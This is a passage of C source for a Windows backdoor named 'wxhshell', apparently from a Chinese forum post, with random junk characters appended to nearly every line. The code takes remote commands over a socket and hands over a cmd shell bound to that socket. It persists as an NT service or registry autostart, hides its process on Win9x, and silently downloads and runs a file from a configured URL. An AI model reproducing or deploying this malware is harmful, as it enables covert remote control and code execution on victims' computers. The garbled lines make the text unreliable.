  else { d?9b6k?  
l- mt{2  
    switch(cmd[0]) { o@5zf{-  
  )iU@P7W=  
  // 帮助 Dr_ (u<[  
  case '?': { D_)i%k\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K{vn[}  
    break; NUQ?Q Q  
  } Q 1:7 9  
  // 安装 Y!1x,"O'H  
  case 'i': { h!zev~u1)`  
    if(Install()) o<\u Hr3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \LEU reTn  
    else 'v~%rhq3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 57S!X|CE  
    break; C1M @;  
    } |[3%^!f\  
  // 卸载 lx H3a :gm  
  case 'r': { ->u}b?aF  
    if(Uninstall()) #GVf+8"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gK#G8V-,  
    else vMHJgpd&j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7`pK=E}+  
    break; 4~DW7 (  
    } Tw]].|^f-  
  // 显示 wxhshell 所在路径 _@/nc:)H  
  case 'p': { '[zy%<2sL  
    char svExeFile[MAX_PATH]; "0sk(kT  
    strcpy(svExeFile,"\n\r"); g~v>{F+u  
      strcat(svExeFile,ExeFile); <fm<UO,%  
        send(wsh,svExeFile,strlen(svExeFile),0); mh :eUFe  
    break; Er!s\(h  
    } \pwg8p[4Q  
  // 重启 2l.qINyz  
  case 'b': { L Rn)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {+N7o7  
    if(Boot(REBOOT)) >&?k^nI}J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NN"!kuM  
    else { 0<$t9:dq  
    closesocket(wsh); ?(2^lH~6h  
    ExitThread(0); L >HyBB  
    } DRy,n)U&  
    break; 6b7SA ,  
    } (O`2$~mIM  
  // 关机 RKtU@MX49  
  case 'd': { 3j} @}2D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T~G~M/  
    if(Boot(SHUTDOWN)) Jr.4Y>;}e3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <"HbX  
    else { {[Z}<#n)  
    closesocket(wsh); +/|t8zFWs  
    ExitThread(0); %7 [ Z/U=  
    } dOx0'q"Z  
    break; F\BD7W  
    } =H)"t:xE  
  // 获取shell f~-Ipq;F  
  case 's': { o>?#$~XNv  
    CmdShell(wsh); #Ks2a):8  
    closesocket(wsh); wu`P=-  
    ExitThread(0); 0hoi=W6AQ  
    break; 72akOx   
  } d7i 0'R  
  // 退出 j" ~gEGfK  
  case 'x': { tZ*z.3\<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2nkUvb%=  
    CloseIt(wsh); M_Z(+k{Gy  
    break; am(jmf::  
    } p0bMgP  
  // 离开 T/Fj0'  
  case 'q': { ;($"_h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c@<vFoq  
    closesocket(wsh); r?:xD(}Q  
    WSACleanup(); ^f_4w|u,+  
    exit(1); &vHfuM`  
    break; /+g)J0u  
        } na-mh E,H  
  } V0)F/qY  
  } dVe  
S3F8Chk5  
  // 提示信息 = k7}[!T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^!yJ;'H\  
} Nub)]S>_/t  
  } b@?pofZ`k  
{(j1#9+9  
  return; N}5'Hk4+  
} b@  S.  
m%[`NP (  
// shell模块句柄 o|O|e9m(  
int CmdShell(SOCKET sock) )"4v0dv  
{ 4y|%Oj  
STARTUPINFO si; qOi"3_  
ZeroMemory(&si,sizeof(si)); DF`?D +  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W1;u%>Uh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }<KQ +  
PROCESS_INFORMATION ProcessInfo; f\]splL  
char cmdline[]="cmd"; R!2oj_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OS7^S1r-  
  return 0; QxS=W2iN  
} Ir\f _>7  
4ht+u  
// 自身启动模式 #Rx|oSc}  
int StartFromService(void) JK_(!  
{ hCFgZiH2  
typedef struct 3rh@|fg)E  
{ b<1+q{0r  
  DWORD ExitStatus; .QVZ!  
  DWORD PebBaseAddress; m2h@*  
  DWORD AffinityMask; %{*)-_M  
  DWORD BasePriority; g*%z{w  
  ULONG UniqueProcessId; E Zh.*u@^r  
  ULONG InheritedFromUniqueProcessId; &w"1VOV<  
}   PROCESS_BASIC_INFORMATION; k3 S  
EnD }|9  
PROCNTQSIP NtQueryInformationProcess;  5i|DJ6  
H4{CiZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; guc[du  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rD":Gac  
f9FEH7S68  
  HANDLE             hProcess; uW4wTAk;qh  
  PROCESS_BASIC_INFORMATION pbi; 6L}}3b h  
&upM,Jsr*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5N.-m;s  
  if(NULL == hInst ) return 0; U?.cbB,  
yNU.<d 5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }XcYIo#+t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 14Y<-OO: k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yDe6f(D  
;FfDi*S7  
  if (!NtQueryInformationProcess) return 0; {2,vxGi  
D6L5X/#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ckhU@C|=*  
  if(!hProcess) return 0; -{O>'9'1A  
hw9qnSeRy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LfsqtQ=J`  
lNRGlTD%  
  CloseHandle(hProcess); 2uZ4$_  
bbe$6xwi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HY!R|  
if(hProcess==NULL) return 0; n> tru L  
U_[<,JE  
HMODULE hMod;  oo4aw1d  
char procName[255]; k3yA*Ec  
unsigned long cbNeeded; o!@}&DE|*L  
CyXFuk!R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xmXuBp:M(R  
#X t|"Z  
  CloseHandle(hProcess); 3LW_qX  
CR8szMa  
if(strstr(procName,"services")) return 1; // 以服务启动 M)6iYA%$  
c$P68$FB  
  return 0; // 注册表启动 6m$lK%P{1  
} Nbvs_>N   
-~] q?k?  
// 主模块 ;k |U2ajFJ  
int StartWxhshell(LPSTR lpCmdLine) N5d)&a 7?  
{ slTE.  
  SOCKET wsl; 6"YcM:5~  
BOOL val=TRUE; j@u]( nf  
  int port=0; |5TzRz  
  struct sockaddr_in door; /N9ct4 {^  
ORx6r=zg  
  if(wscfg.ws_autoins) Install(); ~J:]cy)Q  
K 7 OIT2-  
port=atoi(lpCmdLine); h<<uef9  
6m%#cP (6K  
if(port<=0) port=wscfg.ws_port; :Xi&H.k)p  
(Cb;=:3G  
  WSADATA data; G_]zymXQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `nrw[M?  
^_gH}~l+U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2!Qg1hM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~JQ6V?fucD  
  door.sin_family = AF_INET; 1I?`3N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \,S4-~(:!  
  door.sin_port = htons(port); 4w5);x.  
43?uTnX/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )uu(I5St  
closesocket(wsl); V}X>~ '%  
return 1; HA74s':FN  
} Ozg,6&3ji  
+"1fr  
  if(listen(wsl,2) == INVALID_SOCKET) { t0_4jV t  
closesocket(wsl); ezb*tN!  
return 1; m6uFmU*<M}  
} OcLahz6  
  Wxhshell(wsl); Du #>y!  
  WSACleanup(); $5:I~ -mx  
zY9CoadZ  
return 0; [/o B jiBA  
X-*LA*xbN  
} 5PsjGvm.%  
,bzC| AK  
// 以NT服务方式启动 21O@yNpS$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :T{VCw:*  
{ {53|X=D64  
DWORD   status = 0; $zM \Jd  
  DWORD   specificError = 0xfffffff; Eh^gR`I  
_(-i46x}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .k$Yleg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zs6rd83#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &NOCRabc  
  serviceStatus.dwWin32ExitCode     = 0; MOPHu O{^  
  serviceStatus.dwServiceSpecificExitCode = 0; *j( UAVp  
  serviceStatus.dwCheckPoint       = 0; %(|-+cLW+  
  serviceStatus.dwWaitHint       = 0; *R}p9;dpO  
Zv2]X-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =YIosmr  
  if (hServiceStatusHandle==0) return; &@FufpPw/  
j\"d/{7Q  
status = GetLastError(); &c}2[=  
  if (status!=NO_ERROR) \u04m}h]  
{ B2Rpd &[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p2U6B  
    serviceStatus.dwCheckPoint       = 0; 3-oKY*jO  
    serviceStatus.dwWaitHint       = 0; Tq SjL{l%  
    serviceStatus.dwWin32ExitCode     = status; ~k%XW$cV  
    serviceStatus.dwServiceSpecificExitCode = specificError; hYh~%^0dt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6v74mIRn'?  
    return; 5{WvV%  
  } EEMRy  
C\Z5%2<Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "&{.g1i9  
  serviceStatus.dwCheckPoint       = 0; }u1h6rd `  
  serviceStatus.dwWaitHint       = 0; :wEy""*N0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bc:3 5.  
} >3*a&_cI=k  
4;@L#Pzt  
// 处理NT服务事件,比如:启动、停止 ;.<HpDfG_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kkW}:dBl  
{ a_]l?t  
switch(fdwControl) }346uF7C  
{ >^IUS8v  
case SERVICE_CONTROL_STOP: 6$kh5$[  
  serviceStatus.dwWin32ExitCode = 0; )| |CU]"b?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \/C5L:|p_  
  serviceStatus.dwCheckPoint   = 0; d^v.tYM$N  
  serviceStatus.dwWaitHint     = 0; 8F'm#0  
  {  -PU.Uw]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o?c NH  
  } FUZuS!sJ  
  return; K`j:F>b  
case SERVICE_CONTROL_PAUSE: OT$++cj^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5y] %Cu1.u  
  break; I[?bM-  
case SERVICE_CONTROL_CONTINUE: 2[j`bYNe  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Dd,i^,4Gj  
  break; 6__HqBQ  
case SERVICE_CONTROL_INTERROGATE: y&eU\>M  
  break; d(@ ov^e-  
}; FD~ U F;VQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [@B!N+P5;  
} {t.S_|IE  
`I4E': ZG  
// 标准应用程序主函数 cct/mX2&~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VR%*8=  
{ ]0SqLe  
C N}0( 2n  
// 获取操作系统版本 (_+ux1h6^  
OsIsNt=GetOsVer(); :Bu)cy#/[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CJw zjH  
M _lLP8W}  
  // 从命令行安装 fZLAZMrM  
  if(strpbrk(lpCmdLine,"iI")) Install(); #yU"n-eLR  
=Zsxl]h   
  // 下载执行文件 1'iQlnMO@  
if(wscfg.ws_downexe) { :#{0yno)H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PnB2a'(^@?  
  WinExec(wscfg.ws_filenam,SW_HIDE); W^S]"N0u  
} T|j=,2_  
R9D2cu,{  
if(!OsIsNt) { Fu\#:+5\  
// 如果时win9x,隐藏进程并且设置为注册表启动 L/%{,7l<^?  
HideProc(); #XqiXM~^R  
StartWxhshell(lpCmdLine); h|i b*%P_  
} (:%t  
else h0$ \JXk  
  if(StartFromService()) hJw]hVYa  
  // 以服务方式启动 %K06owV(S)  
  StartServiceCtrlDispatcher(DispatchTable); G `B=:s]  
else zwP*7u$CH  
  // 普通方式启动 l8_RA  
  StartWxhshell(lpCmdLine); ,_D@ggL-  
Ge=\IAj  
return 0; :S!!J*0  
}
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只看该作者 1 发表于: 2006-10-10
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